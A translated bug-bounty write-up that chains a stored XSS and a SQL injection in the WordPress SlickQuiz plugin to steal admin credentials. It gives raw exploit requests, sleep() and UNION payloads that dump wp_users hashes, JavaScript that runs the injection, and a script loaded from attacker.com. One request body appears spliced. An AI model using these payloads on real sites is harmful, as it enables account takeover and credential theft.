本文为翻译文章,原文链接为:https://www.rcesecurity.com/2019/09/H1-4420-From-Quiz-to-Admin-Chaining-Two-0-Days-to-Compromise-an-Uber-Wordpress/
当我在在为H1-4420侦查时,我偶然发现了一个启用了一个叫SlickQuizhttps://wordpress.org/plugins/slickquiz/插件的wordpress博客,尽管最新版本1.3.7.1已经安装且我没有找到任何公开的泄露漏洞,但是运行一个没有经过最后重要版本测试的插件仍让我觉得是个不好的主意。
所以我决定遵循去年H1-3120的路线:进行源代码审查,这次又得到应有的回报。我发现了两个分别为CVE-2019-12517(未经身份验证的存储型XSS)和CVE-2019-12516(经过身份验证的SQL注入)的漏洞,这两个漏洞可以串联在一起从而以未授权WordPress用户拿下管理员凭据。
由于披露信息的敏感性,我在文章中用自己临时安装的WordPress博客来演示漏洞的影响。
在源代码审查期间,我在保存用户测验分数的地方发现很多明显的存储型XSS漏洞。需要重要注意的是,“保存用户分数”选项是否被禁用(默认情况)还是开启都是无所谓的,开不开都是UI的元素的问题,与漏洞利用无关。
重要的问题在于文件php/slickquiz-scores.php的generate_score_row()方法(38-52行)处,向测验者返回响应数据包时没有进行转义编码。
function generate_score_row( $score ) { $scoreRow = ''; $scoreRow .= '<tr>'; $scoreRow .= '<td class="table_id">' . $score->id . '</td>'; $scoreRow .= '<td class="table_name">' . $score->name . '</td>'; $scoreRow .= '<td class="table_email">' . $score->email . '</td>'; $scoreRow .= '<td class="table_score">' . $score->score . '</td>'; $scoreRow .= '<td class="table_created">' . $score->createdDate . '</td>'; $scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>'; $scoreRow .= '</tr>'; return $scoreRow; }
因为$score->name,$score->name和$score->score都是用户可控的,一个简单的如下的请求就可以从SlickQuiz的后端拿到三个XSS漏洞。
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script>alert(2)</script>","score":"<script>alert(3)</script>","quiz_id":1}
只要用户访问SlickQuiz的dashboard里的用户分数,所有payload就会触发。
这样就很完美了,已经有很大的影响了,但是还可以造成更大的影响。
SlickQuiz插件同样有一些需要身份验证的SQL注入漏洞,而且无所谓请求中是否有id参数。例如下面的请求例子:
/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)
都导致了一个5秒的延迟。
重要的问题例如在这个请求/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)当中,这个漏洞位于文件php/slickquiz-scores.php的构造方法(20行),GET参数id的值会传给get_quiz_by_id()这个函数。
$quiz = $this->get_quiz_by_id( $_GET['id'] );
get_quiz_by_id()这个函数定义在php/slickquiz-model.php文件(27-35行)下:
function get_quiz_by_id( $id ) { global $wpdb; $db_name = $wpdb->prefix . 'plugin_slickquiz'; $quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" ); return $quizResult; }
很明显的另一个漏洞。
现在连接这两个漏洞来接管WordPress。
首先,我们获取一下WordPress用户(可能是管理员)的基本登陆详情:用户电子邮件,登录名和HASH密码。我已经构建了一个方便的SQL注入payload来实现:
1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--
这最后会返回\
有了这个payload和一些js代码我们可以通过XMLHttpRequest来进行利用SQL注入了:
let url = 'http://localhost/wordpress/wp-admin/admin.php?page=slickquiz-scores&id='; let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--' let xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/); alert(result[1]); } } xhr.open('GET', url + payload, true); xhr.send();
现在将XSS payload改为如下:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action=save_quiz_score&json={"name":"xss","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}on=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}
将导致XSS触发并弹出WordPress的登陆凭据
然后我们就可以通过XMLHttpRequest等跨域发送这些数据。
感谢Uber的赏金!